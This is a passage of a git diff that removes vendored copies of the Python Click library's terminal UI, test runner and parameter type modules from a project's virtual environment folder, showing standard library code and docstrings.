Alternatively, if no iterable is specified, one can manually update the - progress bar through the `update()` method instead of directly - iterating over the progress bar. The update method accepts the number - of steps to increment the bar with:: - - with progressbar(length=chunks.total_bytes) as bar: - for chunk in chunks: - process_chunk(chunk) - bar.update(chunks.bytes) - - The ``update()`` method also takes an optional value specifying the - ``current_item`` at the new position. This is useful when used - together with ``item_show_func`` to customize the output for each - manual step:: - - with click.progressbar( - length=total_size, - label='Unzipping archive', - item_show_func=lambda a: a.filename - ) as bar: - for archive in zip_file: - archive.extract() - bar.update(archive.size, archive) - - :param iterable: an iterable to iterate over. If not provided the length - is required. - :param length: the number of items to iterate over. By default the - progressbar will attempt to ask the iterator about its - length, which might or might not work. If an iterable is - also provided this parameter can be used to override the - length. If an iterable is not provided the progress bar - will iterate over a range of that length. - :param label: the label to show next to the progress bar. - :param hidden: hide the progressbar. Defaults to ``False``. When no tty is - detected, it will only print the progressbar label. Setting this to - ``False`` also disables that. - :param show_eta: enables or disables the estimated time display. This is - automatically disabled if the length cannot be - determined. - :param show_percent: enables or disables the percentage display. The - default is `True` if the iterable has a length or - `False` if not. - :param show_pos: enables or disables the absolute position display. The - default is `False`. - :param item_show_func: A function called with the current item which - can return a string to show next to the progress bar. If the - function returns ``None`` nothing is shown. The current item can - be ``None``, such as when entering and exiting the bar. - :param fill_char: the character to use to show the filled part of the - progress bar. - :param empty_char: the character to use to show the non-filled part of - the progress bar. - :param bar_template: the format string to use as template for the bar. - The parameters in it are ``label`` for the label, - ``bar`` for the progress bar and ``info`` for the - info section. - :param info_sep: the separator between multiple info items (eta etc.) - :param width: the width of the progress bar in characters, 0 means full - terminal width - :param file: The file to write to. If this is not a terminal then - only the label is printed. - :param color: controls if the terminal supports ANSI colors or not. The - default is autodetection. This is only needed if ANSI - codes are included anywhere in the progress bar output - which is not the case by default. - :param update_min_steps: Render only when this many updates have - completed. This allows tuning for very fast iterators. - - .. versionadded:: 8.2 - The ``hidden`` argument. - - .. versionchanged:: 8.0 - Output is shown even if execution time is less than 0.5 seconds. - - .. versionchanged:: 8.0 - ``item_show_func`` shows the current item, not the previous one. - - .. versionchanged:: 8.0 - Labels are echoed if the output is not a TTY. Reverts a change - in 7.0 that removed all output. - - .. versionadded:: 8.0 - The ``update_min_steps`` parameter. - - .. versionadded:: 4.0 - The ``color`` parameter and ``update`` method. - - .. versionadded:: 2.0 - """ - from ._termui_impl import ProgressBar - - color = resolve_color_default(color) - return ProgressBar( - iterable=iterable, - length=length, - hidden=hidden, - show_eta=show_eta, - show_percent=show_percent, - show_pos=show_pos, - item_show_func=item_show_func, - fill_char=fill_char, - empty_char=empty_char, - bar_template=bar_template, - info_sep=info_sep, - file=file, - label=label, - width=width, - color=color, - update_min_steps=update_min_steps, - ) - - -def clear() -> None: - """Clears the terminal screen. This will have the effect of clearing - the whole visible space of the terminal and moving the cursor to the - top left. This does not do anything if not connected to a terminal. - - .. versionadded:: 2.0 - """ - if not isatty(sys.stdout): - return - - # ANSI escape \033[2J clears the screen, \033[1;1H moves the cursor - echo("\033[2J\033[1;1H", nl=False) - - -def _interpret_color(color: int | tuple[int, int, int] | str, offset: int = 0) -> str: - if isinstance(color, int): - return f"{38 + offset};5;{color:d}" - - if isinstance(color, (tuple, list)): - r, g, b = color - return f"{38 + offset};2;{r:d};{g:d};{b:d}" - - return str(_ansi_colors[color] + offset) - - -def style( - text: t.Any, - fg: int | tuple[int, int, int] | str | None = None, - bg: int | tuple[int, int, int] | str | None = None, - bold: bool | None = None, - dim: bool | None = None, - underline: bool | None = None, - overline: bool | None = None, - italic: bool | None = None, - blink: bool | None = None, - reverse: bool | None = None, - strikethrough: bool | None = None, - reset: bool = True, -) -> str: - """Styles a text with ANSI styles and returns the new string. By - default the styling is self contained which means that at the end - of the string a reset code is issued. This can be prevented by - passing ``reset=False``. - - Examples:: - - click.echo(click.style('Hello World!', fg='green')) - click.echo(click.style('ATTENTION!', blink=True)) - click.echo(click.style('Some things', reverse=True, fg='cyan')) - click.echo(click.style('More colors', fg=(255, 12, 128), bg=117)) - - Supported color names: - - * ``black`` (might be a gray) - * ``red`` - * ``green`` - * ``yellow`` (might be an orange) - * ``blue`` - * ``magenta`` - * ``cyan`` - * ``white`` (might be light gray) - * ``bright_black`` - * ``bright_red`` - * ``bright_green`` - * ``bright_yellow`` - * ``bright_blue`` - * ``bright_magenta`` - * ``bright_cyan`` - * ``bright_white`` - * ``reset`` (reset the color code only) - - If the terminal supports it, color may also be specified as: - - - An integer in the interval [0, 255]. The terminal must support - 8-bit/256-color mode. - - An RGB tuple of three integers in [0, 255]. The terminal must - support 24-bit/true-color mode. - - See https://en.wikipedia.org/wiki/ANSI_color and - https://gist.github.com/XVilka/8346728 for more information. - - :param text: the string to style with ansi codes. - :param fg: if provided this will become the foreground color. - :param bg: if provided this will become the background color. - :param bold: if provided this will enable or disable bold mode. - :param dim: if provided this will enable or disable dim mode. This is - badly supported. - :param underline: if provided this will enable or disable underline. - :param overline: if provided this will enable or disable overline. - :param italic: if provided this will enable or disable italic. - :param blink: if provided this will enable or disable blinking. - :param reverse: if provided this will enable or disable inverse - rendering (foreground becomes background and the - other way round). - :param strikethrough: if provided this will enable or disable - striking through text. - :param reset: by default a reset-all code is added at the end of the - string which means that styles do not carry over. This - can be disabled to compose styles. - - .. versionchanged:: 8.0 - A non-string ``message`` is converted to a string. - - .. versionchanged:: 8.0 - Added support for 256 and RGB color codes. - - .. versionchanged:: 8.0 - Added the ``strikethrough``, ``italic``, and ``overline`` - parameters. - - .. versionchanged:: 7.0 - Added support for bright colors. - - .. versionadded:: 2.0 - """ - if not isinstance(text, str): - text = str(text) - - bits = [] - - if fg: - try: - bits.append(f"\033[{_interpret_color(fg)}m") - except KeyError: - raise TypeError(f"Unknown color {fg!r}") from None - - if bg: - try: - bits.append(f"\033[{_interpret_color(bg, 10)}m") - except KeyError: - raise TypeError(f"Unknown color {bg!r}") from None - - if bold is not None: - bits.append(f"\033[{1 if bold else 22}m") - if dim is not None: - bits.append(f"\033[{2 if dim else 22}m") - if underline is not None: - bits.append(f"\033[{4 if underline else 24}m") - if overline is not None: - bits.append(f"\033[{53 if overline else 55}m") - if italic is not None: - bits.append(f"\033[{3 if italic else 23}m") - if blink is not None: - bits.append(f"\033[{5 if blink else 25}m") - if reverse is not None: - bits.append(f"\033[{7 if reverse else 27}m") - if strikethrough is not None: - bits.append(f"\033[{9 if strikethrough else 29}m") - bits.append(text) - if reset: - bits.append(_ansi_reset_all) - return "".join(bits) - - -def unstyle(text: str) -> str: - """Removes ANSI styling information from a string. Usually it's not - necessary to use this function as Click's echo function will - automatically remove styling if necessary. - - .. versionadded:: 2.0 - - :param text: the text to remove style information from. - """ - return strip_ansi(text) - - -def secho( - message: t.Any | None = None, - file: t.IO[t.AnyStr] | None = None, - nl: bool = True, - err: bool = False, - color: bool | None = None, - **styles: t.Any, -) -> None: - """This function combines :func:`echo` and :func:`style` into one - call. As such the following two calls are the same:: - - click.secho('Hello World!', fg='green') - click.echo(click.style('Hello World!', fg='green')) - - All keyword arguments are forwarded to the underlying functions - depending on which one they go with. - - Non-string types will be converted to :class:`str`. However, - :class:`bytes` are passed directly to :meth:`echo` without applying - style. If you want to style bytes that represent text, call - :meth:`bytes.decode` first. - - .. versionchanged:: 8.0 - A non-string ``message`` is converted to a string. Bytes are - passed through without style applied. - - .. versionadded:: 2.0 - """ - if message is not None and not isinstance(message, (bytes, bytearray)): - message = style(message, **styles) - - return echo(message, file=file, nl=nl, err=err, color=color) - - -@t.overload -def edit( - text: bytes | bytearray, - editor: str | None = None, - env: cabc.Mapping[str, str] | None = None, - require_save: bool = False, - extension: str = ".txt", -) -> bytes | None: ... - - -@t.overload -def edit( - text: str, - editor: str | None = None, - env: cabc.Mapping[str, str] | None = None, - require_save: bool = True, - extension: str = ".txt", -) -> str | None: ... - - -@t.overload -def edit( - text: None = None, - editor: str | None = None, - env: cabc.Mapping[str, str] | None = None, - require_save: bool = True, - extension: str = ".txt", - filename: str | cabc.Iterable[str] | None = None, -) -> None: ... - - -def edit( - text: str | bytes | bytearray | None = None, - editor: str | None = None, - env: cabc.Mapping[str, str] | None = None, - require_save: bool = True, - extension: str = ".txt", - filename: str | cabc.Iterable[str] | None = None, -) -> str | bytes | bytearray | None: - r"""Edits the given text in the defined editor. If an editor is given - (should be the full path to the executable but the regular operating - system search path is used for finding the executable) it overrides - the detected editor. Optionally, some environment variables can be - used. If the editor is closed without changes, `None` is returned. In - case a file is edited directly the return value is always `None` and - `require_save` and `extension` are ignored. - - If the editor cannot be opened a :exc:`UsageError` is raised. - - Note for Windows: to simplify cross-platform usage, the newlines are - automatically converted from POSIX to Windows and vice versa. As such, - the message here will have ``\n`` as newline markers. - - :param text: the text to edit. - :param editor: optionally the editor to use. Defaults to automatic - detection. - :param env: environment variables to forward to the editor. - :param require_save: if this is true, then not saving in the editor - will make the return value become `None`. - :param extension: the extension to tell the editor about. This defaults - to `.txt` but changing this might change syntax - highlighting. - :param filename: if provided it will edit this file instead of the - provided text contents. It will not use a temporary - file as an indirection in that case. If the editor supports - editing multiple files at once, a sequence of files may be - passed as well. Invoke `click.file` once per file instead - if multiple files cannot be managed at once or editing the - files serially is desired. - - .. versionchanged:: 8.2.0 - ``filename`` now accepts any ``Iterable[str]`` in addition to a ``str`` - if the ``editor`` supports editing multiple files at once. - - """ - from ._termui_impl import Editor - - ed = Editor(editor=editor, env=env, require_save=require_save, extension=extension) - - if filename is None: - return ed.edit(text) - - if isinstance(filename, str): - filename = (filename,) - - ed.edit_files(filenames=filename) - return None - - -def launch(url: str, wait: bool = False, locate: bool = False) -> int: - """This function launches the given URL (or filename) in the default - viewer application for this file type. If this is an executable, it - might launch the executable in a new session. The return value is - the exit code of the launched application. Usually, ``0`` indicates - success. - - Examples:: - - click.launch('https://click.palletsprojects.com/') - click.launch('/my/downloaded/file', locate=True) - - .. versionadded:: 2.0 - - :param url: URL or filename of the thing to launch. - :param wait: Wait for the program to exit before returning. This - only works if the launched program blocks. In particular, - ``xdg-open`` on Linux does not block. - :param locate: if this is set to `True` then instead of launching the - application associated with the URL it will attempt to - launch a file manager with the file located. This - might have weird effects if the URL does not point to - the filesystem. - """ - from ._termui_impl import open_url - - return open_url(url, wait=wait, locate=locate) - - -# If this is provided, getchar() calls into this instead. This is used -# for unittesting purposes. -_getchar: t.Callable[[bool], str] | None = None - - -def getchar(echo: bool = False) -> str: - """Fetches a single character from the terminal and returns it. This - will always return a unicode character and under certain rare - circumstances this might return more than one character. The - situations which more than one character is returned is when for - whatever reason multiple characters end up in the terminal buffer or - standard input was not actually a terminal. - - Note that this will always read from the terminal, even if something - is piped into the standard input. - - Note for Windows: in rare cases when typing non-ASCII characters, this - function might wait for a second character and then return both at once. - This is because certain Unicode characters look like special-key markers. - - .. versionadded:: 2.0 - - :param echo: if set to `True`, the character read will also show up on - the terminal. The default is to not show it. - """ - global _getchar - - if _getchar is None: - from ._termui_impl import getchar as f - - _getchar = f - - return _getchar(echo) - - -def raw_terminal() -> AbstractContextManager[int]: - from ._termui_impl import raw_terminal as f - - return f() - - -def pause(info: str | None = None, err: bool = False) -> None: - """This command stops execution and waits for the user to press any - key to continue. This is similar to the Windows batch "pause" - command. If the program is not run through a terminal, this command - will instead do nothing. - - .. versionadded:: 2.0 - - .. versionadded:: 4.0 - Added the `err` parameter. - - :param info: The message to print before pausing. Defaults to - ``"Press any key to continue..."``. - :param err: if set to message goes to ``stderr`` instead of - ``stdout``, the same as with echo. - """ - if not isatty(sys.stdin) or not isatty(sys.stdout): - return - - if info is None: - info = _("Press any key to continue...") - - try: - if info: - echo(info, nl=False, err=err) - try: - getchar() - except (KeyboardInterrupt, EOFError): - pass - finally: - if info: - echo(err=err) diff --git a/backend/venv/Lib/site-packages/click/testing.py b/backend/venv/Lib/site-packages/click/testing.py deleted file mode 100644 index 7c0e8741..00000000 --- a/backend/venv/Lib/site-packages/click/testing.py +++ /dev/null @@ -1,565 +0,0 @@ -from __future__ import annotations - -import collections.abc as cabc -import contextlib -import io -import os -import shlex -import shutil -import sys -import tempfile -import typing as t -from types import TracebackType - -from . import _compat -from . import formatting -from . import termui -from . import utils -from ._compat import _find_binary_reader - -if t.TYPE_CHECKING: - from _typeshed import ReadableBuffer - - from .core import Command - - -class EchoingStdin: - def __init__(self, input: t.BinaryIO, output: t.BinaryIO) -> None: - self._input = input - self._output = output - self._paused = False - - def __getattr__(self, x: str) -> t.Any: - return getattr(self._input, x) - - def _echo(self, rv: bytes) -> bytes: - if not self._paused: - self._output.write(rv) - - return rv - - def read(self, n: int = -1) -> bytes: - return self._echo(self._input.read(n)) - - def read1(self, n: int = -1) -> bytes: - return self._echo(self._input.read1(n)) # type: ignore - - def readline(self, n: int = -1) -> bytes: - return self._echo(self._input.readline(n)) - - def readlines(self) -> list[bytes]: - return [self._echo(x) for x in self._input.readlines()] - - def __iter__(self) -> cabc.Iterator[bytes]: - return iter(self._echo(x) for x in self._input) - - def __repr__(self) -> str: - return repr(self._input) - - -@contextlib.contextmanager -def _pause_echo(stream: EchoingStdin | None) -> cabc.Iterator[None]: - if stream is None: - yield - else: - stream._paused = True - yield - stream._paused = False - - -class BytesIOCopy(io.BytesIO): - """Patch ``io.BytesIO`` to let the written stream be copied to another. - - .. versionadded:: 8.2 - """ - - def __init__(self, copy_to: io.BytesIO) -> None: - super().__init__() - self.copy_to = copy_to - - def flush(self) -> None: - super().flush() - self.copy_to.flush() - - def write(self, b: ReadableBuffer) -> int: - self.copy_to.write(b) - return super().write(b) - - -class StreamMixer: - """Mixes `` and `` streams. - - The result is available in the ``output`` attribute. - - .. versionadded:: 8.2 - """ - - def __init__(self) -> None: - self.output: io.BytesIO = io.BytesIO() - self.stdout: io.BytesIO = BytesIOCopy(copy_to=self.output) - self.stderr: io.BytesIO = BytesIOCopy(copy_to=self.output) - - -class _NamedTextIOWrapper(io.TextIOWrapper): - def __init__( - self, buffer: t.BinaryIO, name: str, mode: str, **kwargs: t.Any - ) -> None: - super().__init__(buffer, **kwargs) - self._name = name - self._mode = mode - - @property - def name(self) -> str: - return self._name - - @property - def mode(self) -> str: - return self._mode - - def __next__(self) -> str: # type: ignore - try: - line = super().__next__() - except StopIteration as e: - raise EOFError() from e - return line - - -def make_input_stream( - input: str | bytes | t.IO[t.Any] | None, charset: str -) -> t.BinaryIO: - # Is already an input stream. - if hasattr(input, "read"): - rv = _find_binary_reader(t.cast("t.IO[t.Any]", input)) - - if rv is not None: - return rv - - raise TypeError("Could not find binary reader for input stream.") - - if input is None: - input = b"" - elif isinstance(input, str): - input = input.encode(charset) - - return io.BytesIO(input) - - -class Result: - """Holds the captured result of an invoked CLI script. - - :param runner: The runner that created the result - :param stdout_bytes: The standard output as bytes. - :param stderr_bytes: The standard error as bytes. - :param output_bytes: A mix of ``stdout_bytes`` and ``stderr_bytes``, as the - user would see it in its terminal. - :param return_value: The value returned from the invoked command. - :param exit_code: The exit code as integer. - :param exception: The exception that happened if one did. - :param exc_info: Exception information (exception type, exception instance, - traceback type). - - .. versionchanged:: 8.2 - ``stderr_bytes`` no longer optional, ``output_bytes`` introduced and - ``mix_stderr`` has been removed. - - .. versionadded:: 8.0 - Added ``return_value``. - """ - - def __init__( - self, - runner: CliRunner, - stdout_bytes: bytes, - stderr_bytes: bytes, - output_bytes: bytes, - return_value: t.Any, - exit_code: int, - exception: BaseException | None, - exc_info: tuple[type[BaseException], BaseException, TracebackType] - | None = None, - ): - self.runner = runner - self.stdout_bytes = stdout_bytes - self.stderr_bytes = stderr_bytes - self.output_bytes = output_bytes - self.return_value = return_value - self.exit_code = exit_code - self.exception = exception - self.exc_info = exc_info - - @property - def output(self) -> str: - """The terminal output as unicode string, as the user would see it. - - .. versionchanged:: 8.2 - No longer a proxy for ``self.stdout``. Now has its own independent stream - that is mixing `` and ``, in the order they were written. - """ - return self.output_bytes.decode(self.runner.charset, "replace").replace( - "\r\n", "\n" - ) - - @property - def stdout(self) -> str: - """The standard output as unicode string.""" - return self.stdout_bytes.decode(self.runner.charset, "replace").replace( - "\r\n", "\n" - ) - - @property - def stderr(self) -> str: - """The standard error as unicode string. - - .. versionchanged:: 8.2 - No longer raise an exception, always returns the `` string. - """ - return self.stderr_bytes.decode(self.runner.charset, "replace").replace( - "\r\n", "\n" - ) - - def __repr__(self) -> str: - exc_str = repr(self.exception) if self.exception else "okay" - return f"<{type(self).__name__} {exc_str}>" - - -class CliRunner: - """The CLI runner provides functionality to invoke a Click command line - script for unittesting purposes in a isolated environment. This only - works in single-threaded systems without any concurrency as it changes the - global interpreter state. - - :param charset: the character set for the input and output data. - :param env: a dictionary with environment variables for overriding. - :param echo_stdin: if this is set to `True`, then reading from `` writes - to ``. This is useful for showing examples in - some circumstances. Note that regular prompts - will automatically echo the input. - :param catch_exceptions: Whether to catch any exceptions other than - ``SystemExit`` when running :meth:`~CliRunner.invoke`. - - .. versionchanged:: 8.2 - Added the ``catch_exceptions`` parameter. - - .. versionchanged:: 8.2 - ``mix_stderr`` parameter has been removed. - """ - - def __init__( - self, - charset: str = "utf-8", - env: cabc.Mapping[str, str | None] | None = None, - echo_stdin: bool = False, - catch_exceptions: bool = True, - ) -> None: - self.charset = charset - self.env: cabc.Mapping[str, str | None] = env or {} - self.echo_stdin = echo_stdin - self.catch_exceptions = catch_exceptions - - def get_default_prog_name(self, cli: Command) -> str: - """Given a command object it will return the default program name - for it. The default is the `name` attribute or ``"root"`` if not - set. - """ - return cli.name or "root" - - def make_env( - self, overrides: cabc.Mapping[str, str | None] | None = None - ) -> cabc.Mapping[str, str | None]: - """Returns the environment overrides for invoking a script.""" - rv = dict(self.env) - if overrides: - rv.update(overrides) - return rv - - @contextlib.contextmanager - def isolation( - self, - input: str | bytes | t.IO[t.Any] | None = None, - env: cabc.Mapping[str, str | None] | None = None, - color: bool = False, - ) -> cabc.Iterator[tuple[io.BytesIO, io.BytesIO, io.BytesIO]]: - """A context manager that sets up the isolation for invoking of a - command line tool. This sets up `` with the given input data - and `os.environ` with the overrides from the given dictionary. - This also rebinds some internals in Click to be mocked (like the - prompt functionality). - - This is automatically done in the :meth:`invoke` method. - - :param input: the input stream to put into `sys.stdin`. - :param env: the environment overrides as dictionary. - :param color: whether the output should contain color codes. The - application can still override this explicitly. - - .. versionadded:: 8.2 - An additional output stream is returned, which is a mix of - `` and `` streams. - - .. versionchanged:: 8.2 - Always returns the `` stream. - - .. versionchanged:: 8.0 - `` is opened with ``errors="backslashreplace"`` - instead of the default ``"strict"``. - - .. versionchanged:: 4.0 - Added the ``color`` parameter. - """ - bytes_input = make_input_stream(input, self.charset) - echo_input = None - - old_stdin = sys.stdin - old_stdout = sys.stdout - old_stderr = sys.stderr - old_forced_width = formatting.FORCED_WIDTH - formatting.FORCED_WIDTH = 80 - - env = self.make_env(env) - - stream_mixer = StreamMixer() - - if self.echo_stdin: - bytes_input = echo_input = t.cast( - t.BinaryIO, EchoingStdin(bytes_input, stream_mixer.stdout) - ) - - sys.stdin = text_input = _NamedTextIOWrapper( - bytes_input, encoding=self.charset, name="", mode="r" - ) - - if self.echo_stdin: - # Force unbuffered reads, otherwise TextIOWrapper reads a - # large chunk which is echoed early. - text_input._CHUNK_SIZE = 1 # type: ignore - - sys.stdout = _NamedTextIOWrapper( - stream_mixer.stdout, encoding=self.charset, name="", mode="w" - ) - - sys.stderr = _NamedTextIOWrapper( - stream_mixer.stderr, - encoding=self.charset, - name="", - mode="w", - errors="backslashreplace", - ) - - @_pause_echo(echo_input) # type: ignore - def visible_input(prompt: str | None = None) -> str: - sys.stdout.write(prompt or "") - val = next(text_input).rstrip("\r\n") - sys.stdout.write(f"{val}\n") - sys.stdout.flush() - return val - - @_pause_echo(echo_input) # type: ignore - def hidden_input(prompt: str | None = None) -> str: - sys.stdout.write(f"{prompt or ''}\n") - sys.stdout.flush() - return next(text_input).rstrip("\r\n") - - @_pause_echo(echo_input) # type: ignore - def _getchar(echo: bool) -> str: - char = sys.stdin.read(1) - - if echo: - sys.stdout.write(char) - - sys.stdout.flush() - return char - - default_color = color - - def should_strip_ansi( - stream: t.IO[t.Any] | None = None, color: bool | None = None - ) -> bool: - if color is None: - return not default_color - return not color - - old_visible_prompt_func = termui.visible_prompt_func - old_hidden_prompt_func = termui.hidden_prompt_func - old__getchar_func = termui._getchar - old_should_strip_ansi = utils.should_strip_ansi # type: ignore - old__compat_should_strip_ansi = _compat.should_strip_ansi - termui.visible_prompt_func = visible_input - termui.hidden_prompt_func = hidden_input - termui._getchar = _getchar - utils.should_strip_ansi = should_strip_ansi # type: ignore - _compat.should_strip_ansi = should_strip_ansi - - old_env = {} - try: - for key, value in env.items(): - old_env[key] = os.environ.get(key) - if value is None: - try: - del os.environ[key] - except Exception: - pass - else: - os.environ[key] = value - yield (stream_mixer.stdout, stream_mixer.stderr, stream_mixer.output) - finally: - for key, value in old_env.items(): - if value is None: - try: - del os.environ[key] - except Exception: - pass - else: - os.environ[key] = value - sys.stdout = old_stdout - sys.stderr = old_stderr - sys.stdin = old_stdin - termui.visible_prompt_func = old_visible_prompt_func - termui.hidden_prompt_func = old_hidden_prompt_func - termui._getchar = old__getchar_func - utils.should_strip_ansi = old_should_strip_ansi # type: ignore - _compat.should_strip_ansi = old__compat_should_strip_ansi - formatting.FORCED_WIDTH = old_forced_width - - def invoke( - self, - cli: Command, - args: str | cabc.Sequence[str] | None = None, - input: str | bytes | t.IO[t.Any] | None = None, - env: cabc.Mapping[str, str | None] | None = None, - catch_exceptions: bool | None = None, - color: bool = False, - **extra: t.Any, - ) -> Result: - """Invokes a command in an isolated environment. The arguments are - forwarded directly to the command line script, the `extra` keyword - arguments are passed to the :meth:`~clickpkg.Command.main` function of - the command. - - This returns a :class:`Result` object. - - :param cli: the command to invoke - :param args: the arguments to invoke. It may be given as an iterable - or a string. When given as string it will be interpreted - as a Unix shell command. More details at - :func:`shlex.split`. - :param input: the input data for `sys.stdin`. - :param env: the environment overrides. - :param catch_exceptions: Whether to catch any other exceptions than - ``SystemExit``. If :data:`None`, the value - from :class:`CliRunner` is used. - :param extra: the keyword arguments to pass to :meth:`main`. - :param color: whether the output should contain color codes. The - application can still override this explicitly. - - .. versionadded:: 8.2 - The result object has the ``output_bytes`` attribute with - the mix of ``stdout_bytes`` and ``stderr_bytes``, as the user would - see it in its terminal. - - .. versionchanged:: 8.2 - The result object always returns the ``stderr_bytes`` stream. - - .. versionchanged:: 8.0 - The result object has the ``return_value`` attribute with - the value returned from the invoked command. - - .. versionchanged:: 4.0 - Added the ``color`` parameter. - - .. versionchanged:: 3.0 - Added the ``catch_exceptions`` parameter. - - .. versionchanged:: 3.0 - The result object has the ``exc_info`` attribute with the - traceback if available. - """ - exc_info = None - if catch_exceptions is None: - catch_exceptions = self.catch_exceptions - - with self.isolation(input=input, env=env, color=color) as outstreams: - return_value = None - exception: BaseException | None = None - exit_code = 0 - - if isinstance(args, str): - args = shlex.split(args) - - try: - prog_name = extra.pop("prog_name") - except KeyError: - prog_name = self.get_default_prog_name(cli) - - try: - return_value = cli.main(args=args or (), prog_name=prog_name, **extra) - except SystemExit as e: - exc_info = sys.exc_info() - e_code = t.cast("int | t.Any | None", e.code) - - if e_code is None: - e_code = 0 - - if e_code != 0: - exception = e - - if not isinstance(e_code, int): - sys.stdout.write(str(e_code)) - sys.stdout.write("\n") - e_code = 1 - - exit_code = e_code - - except Exception as e: - if not catch_exceptions: - raise - exception = e - exit_code = 1 - exc_info = sys.exc_info() - finally: - sys.stdout.flush() - sys.stderr.flush() - stdout = outstreams[0].getvalue() - stderr = outstreams[1].getvalue() - output = outstreams[2].getvalue() - - return Result( - runner=self, - stdout_bytes=stdout, - stderr_bytes=stderr, - output_bytes=output, - return_value=return_value, - exit_code=exit_code, - exception=exception, - exc_info=exc_info, # type: ignore - ) - - @contextlib.contextmanager - def isolated_filesystem( - self, temp_dir: str | os.PathLike[str] | None = None - ) -> cabc.Iterator[str]: - """A context manager that creates a temporary directory and - changes the current working directory to it. This isolates tests - that affect the contents of the CWD to prevent them from - interfering with each other. - - :param temp_dir: Create the temporary directory under this - directory. If given, the created directory is not removed - when exiting. - - .. versionchanged:: 8.0 - Added the ``temp_dir`` parameter. - """ - cwd = os.getcwd() - dt = tempfile.mkdtemp(dir=temp_dir) - os.chdir(dt) - - try: - yield dt - finally: - os.chdir(cwd) - - if temp_dir is None: - try: - shutil.rmtree(dt) - except OSError: - pass diff --git a/backend/venv/Lib/site-packages/click/types.py b/backend/venv/Lib/site-packages/click/types.py deleted file mode 100644 index 684cb3b1..00000000 --- a/backend/venv/Lib/site-packages/click/types.py +++ /dev/null @@ -1,1165 +0,0 @@ -from __future__ import annotations - -import collections.abc as cabc -import enum -import os -import stat -import sys -import typing as t -from datetime import datetime -from gettext import gettext as _ -from gettext import ngettext - -from ._compat import _get_argv_encoding -from ._compat import open_stream -from .exceptions import BadParameter -from .utils import format_filename -from .utils import LazyFile -from .utils import safecall - -if t.TYPE_CHECKING: - import typing_extensions as te - - from .core import Context - from .core import Parameter - from .shell_completion import CompletionItem - -ParamTypeValue = t.TypeVar("ParamTypeValue") - - -class ParamType: - """Represents the type of a parameter. Validates and converts values - from the command line or Python into the correct type. - - To implement a custom type, subclass and implement at least the - following: - - - The :attr:`name` class attribute must be set. - - Calling an instance of the type with ``None`` must return - ``None``. This is already implemented by default. - - :meth:`convert` must convert string values to the correct type. - - :meth:`convert` must accept values that are already the correct - type. - - It must be able to convert a value if the ``ctx`` and ``param`` - arguments are ``None``. This can occur when converting prompt - input. - """ - - is_composite: t.ClassVar[bool] = False - arity: t.ClassVar[int] = 1 - - #: the descriptive name of this type - name: str - - #: if a list of this type is expected and the value is pulled from a - #: string environment variable, this is what splits it up. `None` - #: means any whitespace. For all parameters the general rule is that - #: whitespace splits them up. The exception are paths and files which - #: are split by ``os.path.pathsep`` by default (":" on Unix and ";" on - #: Windows). - envvar_list_splitter: t.ClassVar[str | None] = None - - def to_info_dict(self) -> dict[str, t.Any]: - """Gather information that could be useful for a tool generating - user-facing documentation. - - Use :meth:`click.Context.to_info_dict` to traverse the entire - CLI structure. - - .. versionadded:: 8.0 - """ - # The class name without the "ParamType" suffix. - param_type = type(self).__name__.partition("ParamType")[0] - param_type = param_type.partition("ParameterType")[0] - - # Custom subclasses might not remember to set a name. - if hasattr(self, "name"): - name = self.name - else: - name = param_type - - return {"param_type": param_type, "name": name} - - def __call__( - self, - value: t.Any, - param: Parameter | None = None, - ctx: Context | None = None, - ) -> t.Any: - if value is not None: - return self.convert(value, param, ctx) - - def get_metavar(self, param: Parameter, ctx: Context) -> str | None: - """Returns the metavar default for this param if it provides one.""" - - def get_missing_message(self, param: Parameter, ctx: Context | None) -> str | None: - """Optionally might return extra information about a missing - parameter. - - .. versionadded:: 2.0 - """ - - def convert( - self, value: t.Any, param: Parameter | None, ctx: Context | None - ) -> t.Any: - """Convert the value to the correct type. This is not called if - the value is ``None`` (the missing value). - - This must accept string values from the command line, as well as - values that are already the correct type. It may also convert - other compatible types. - - The ``param`` and ``ctx`` arguments may be ``None`` in certain - situations, such as when converting prompt input. - - If the value cannot be converted, call :meth:`fail` with a - descriptive message. - - :param value: The value to convert. - :param param: The parameter that is using this type to convert - its value. May be ``None``. - :param ctx: The current context that arrived at this value. May - be ``None``. - """ - return value - - def split_envvar_value(self, rv: str) -> cabc.Sequence[str]: - """Given a value from an environment variable this splits it up - into small chunks depending on the defined envvar list splitter. - - If the splitter is set to `None`, which means that whitespace splits, - then leading and trailing whitespace is ignored. Otherwise, leading - and trailing splitters usually lead to empty items being included. - """ - return (rv or "").split(self.envvar_list_splitter) - - def fail( - self, - message: str, - param: Parameter | None = None, - ctx: Context | None = None, - ) -> t.NoReturn: - """Helper method to fail with an invalid value message.""" - raise BadParameter(message, ctx=ctx, param=param) - - def shell_complete( - self, ctx: Context, param: Parameter, incomplete: str - ) -> list[CompletionItem]: - """Return a list of - :class:`~click.shell_completion.CompletionItem` objects for the - incomplete value. Most types do not provide completions, but - some do, and this allows custom types to provide custom - completions as well. - - :param ctx: Invocation context for this command. - :param param: The parameter that is requesting completion. - :param incomplete: Value being completed. May be empty. - - .. versionadded:: 8.0 - """ - return [] - - -class CompositeParamType(ParamType): - is_composite = True - - @property - def arity(self) -> int: # type: ignore - raise NotImplementedError() - - -class FuncParamType(ParamType): - def __init__(self, func: t.Callable[[t.Any], t.Any]) -> None: - self.name: str = func.__name__ - self.func = func - - def to_info_dict(self) -> dict[str, t.Any]: - info_dict = super().to_info_dict() - info_dict["func"] = self.func - return info_dict - - def convert( - self, value: t.Any, param: Parameter | None, ctx: Context | None - ) -> t.Any: - try: - return self.func(value) - except ValueError: - try: - value = str(value) - except UnicodeError: - value = value.decode("utf-8", "replace") - - self.fail(value, param, ctx) - - -class UnprocessedParamType(ParamType): - name = "text" - - def convert( - self, value: t.Any, param: Parameter | None, ctx: Context | None - ) -> t.Any: - return value - - def __repr__(self) -> str: - return "UNPROCESSED" - - -class StringParamType(ParamType): - name = "text" - - def convert( - self, value: t.Any, param: Parameter | None, ctx: Context | None - ) -> t.Any: - if isinstance(value, bytes): - enc = _get_argv_encoding() - try: - value = value.decode(enc) - except UnicodeError: - fs_enc = sys.getfilesystemencoding() - if fs_enc != enc: - try: - value = value.decode(fs_enc) - except UnicodeError: - value = value.decode("utf-8", "replace") - else: - value = value.decode("utf-8", "replace") - return value - return str(value) - - def __repr__(self) -> str: - return "STRING" - - -class Choice(ParamType, t.Generic[ParamTypeValue]): - """The choice type allows a value to be checked against a fixed set - of supported values. - - You may pass any iterable value which will be converted to a tuple - and thus will only be iterated once. - - The resulting value will always be one of the originally passed choices. - See :meth:`normalize_choice` for more info on the mapping of strings - 